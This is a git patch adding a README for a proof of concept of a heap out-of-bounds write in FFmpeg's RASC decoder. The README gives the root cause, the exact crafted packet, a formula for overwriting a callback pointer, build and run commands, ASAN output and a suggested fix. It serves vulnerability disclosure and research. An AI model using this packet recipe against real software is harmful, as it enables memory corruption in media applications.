From 4b36277e229bf3e823e6256f36d5a5459f031769 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:39:55 +0000 Subject: [PATCH] Upload files to "ffmpeg-rasc-dlta-calc-poc" --- ffmpeg-rasc-dlta-calc-poc/README.md | 235 +++++++++++++++++++++++ ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt | 6 + 2 files changed, 241 insertions(+) create mode 100644 ffmpeg-rasc-dlta-calc-poc/README.md create mode 100644 ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt diff --git a/ffmpeg-rasc-dlta-calc-poc/README.md b/ffmpeg-rasc-dlta-calc-poc/README.md new file mode 100644 index 0000000..2674e74 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/README.md @@ -0,0 +1,235 @@ +pushing a update so @mergersub on twitter isn't confused + +# FFmpeg RASC DLTA calc PoC + +This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder. + +The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom `get_buffer2` callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under `/tmp` and launches Calculator. + +## Status + +Verified target: + +```text +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +2026-06-26 +``` + +Local result: + +```text +media-controlled RASC DLTA overwrite redirected callback +callback hijacked callback reached +marker:present +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +## Files + +```text +poc/ffmpeg_rasc_dlta_calc_poc.c +scripts/build_from_checkout.sh +scripts/run_calc_pop.sh +evidence/current-master-asan.txt +evidence/local-calc-pop.txt +SHA256SUMS.txt +``` + +## Affected Target + +- Product: FFmpeg +- Component: `libavcodec` RASC decoder +- Decoder: `AV_CODEC_ID_RASC` +- File reachability: AVI/RIFF `RASC` FourCC maps to `AV_CODEC_ID_RASC` +- Verified commit: `bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c` +- Affected function: `decode_dlta()` +- Useful run types: `4`, `7`, `12`, `13` + +The local Calculator proof uses run type `7` because the 32-bit `fill` value comes directly from the bitstream. + +## Impact + +A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at `plane + 63` while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data. + +The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from `benign_callback` to `calc_callback`. After decode completes, the PoC calls the pointer and Calculator launches. + +## Root Cause + +`decode_dlta()` tracks a cursor `cx` inside a region with width `w * s->bpp`. The `NEXT_LINE` macro checks whether `cx` reached the row width only after each operation: + +```text +if (cx >= w * s->bpp) { + cx = 0; + cy--; + b1 -= s->frame1->linesize[0]; + b2 -= s->frame2->linesize[0]; +} +len--; +``` + +Several DLTA run types perform 32-bit accesses before the row-end check. Run type `7` reads and writes four bytes at the current byte cursor and then advances by four: + +```text +fill = bytestream2_get_le32(&dc); +AV_WL32(b1 + cx, AV_RL32(b2 + cx)); +AV_WL32(b2 + cx, fill); +cx += 4; +NEXT_LINE +``` + +For PAL8, `s->bpp` is `1`. A DLTA region with `x = 63`, `w = 1`, and `h = 1` on a 64-pixel row sets `b2 + cx` to the final byte of the row. The 32-bit store crosses the row allocation boundary. + +## Packet Shape + +The PoC packet contains two RASC chunks: + +```text +INIT + width = 64 + height = 1 + format = 8 + palette = 1024 bytes + +DLTA + x = 63 + y = 0 + w = 1 + h = 1 + compression = 0 + command = 07 01 +``` + +The `fill32` value is generated at runtime: + +```text +fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41 +``` + +The byte `0x41` lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer. + +## Exploit Flow + +1. The PoC opens the RASC decoder through `avcodec_find_decoder()` and `avcodec_open2()`. +2. The PoC installs `exploit_get_buffer2()` as the decoder buffer provider. +3. RASC `INIT` causes `init_frames()` to allocate `frame1` and `frame2`. +4. `exploit_get_buffer2()` returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane. +5. RASC `DLTA` run type `7` writes past `frame2->data[0] + 63`. +6. The write changes `frame2_chunk->cb` from `benign_callback` to `calc_callback`. +7. The PoC verifies the pointer value. +8. The PoC invokes the callback. +9. The callback writes `/tmp/ffmpeg_rasc_exec_demo` and launches Calculator. + +## Build + +Clone FFmpeg and build the PoC against a RASC-only static libavcodec build: + +```bash +git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg +./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc +``` + +Dependencies: + +```text +Linux or WSL +gcc +make +zlib development headers +FFmpeg build dependencies for the selected platform +``` + +The build script configures FFmpeg with: + +```text +--disable-programs +--disable-autodetect +--disable-everything +--enable-zlib +--enable-decoder=rasc +``` + +## Run + +```bash +./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc +``` + +Expected output: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present +``` + +On WSL, the callback starts Calculator through PowerShell `Start-Process calc.exe`. On Linux desktops, the callback tries common calculator binaries after writing the marker file. + +## Local Verification + +Calculator proof: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +ASAN proof on current master: + +```text +==513==ERROR: AddressSanitizer: heap-buffer-overflow +READ of size 4 at 0x50a000000442 thread T0 +#0 decode_dlta build/src/libavcodec/rasc.c:421:17 +#1 decode_frame build/src/libavcodec/rasc.c:712:19 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta +``` + +Recovery-mode ASAN on the same source shape reports the follow-on writes: + +```text +READ of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:422:17 +``` + +## Patch Shape + +The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access. + +The guarded condition for a 32-bit operation is: + +```text +cx + 4 <= w * s->bpp +``` + +The same guard applies to run types `4`, `7`, `12`, and `13`. + +## References + +- FFmpeg project: https://ffmpeg.org/ +- FFmpeg source: https://github.com/FFmpeg/FFmpeg +- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c +- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c diff --git a/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..64578f7 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt @@ -0,0 +1,6 @@ +673708db6c4a4688b0dd2e997f903820ad49d0a22fe32f016738df31207df405 ffmpeg-rasc-dlta-calc-poc/README.md +1c2871104b11b13ef03872113466beb7984dc8a6d49cd8150f33ccbb93a3a35a ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c +6964fcd5c70bd71ac3a15e8e54968d1aaca24490a458c7d954511351c5ae5a11 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh +8e432e3d82695fe9b18c9f6f35ae420778811c5b43e894b0f817cc0bf76d0cae ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh +c51146d5ab0e320a794f3445a697dfcca876c105cc58a5aeba5ad1e7d941b1ed ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt +8d28c7f1d50c1d819b5bab6efa3f3ace0be46eae7203fbd0febb8e7b379c011f ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt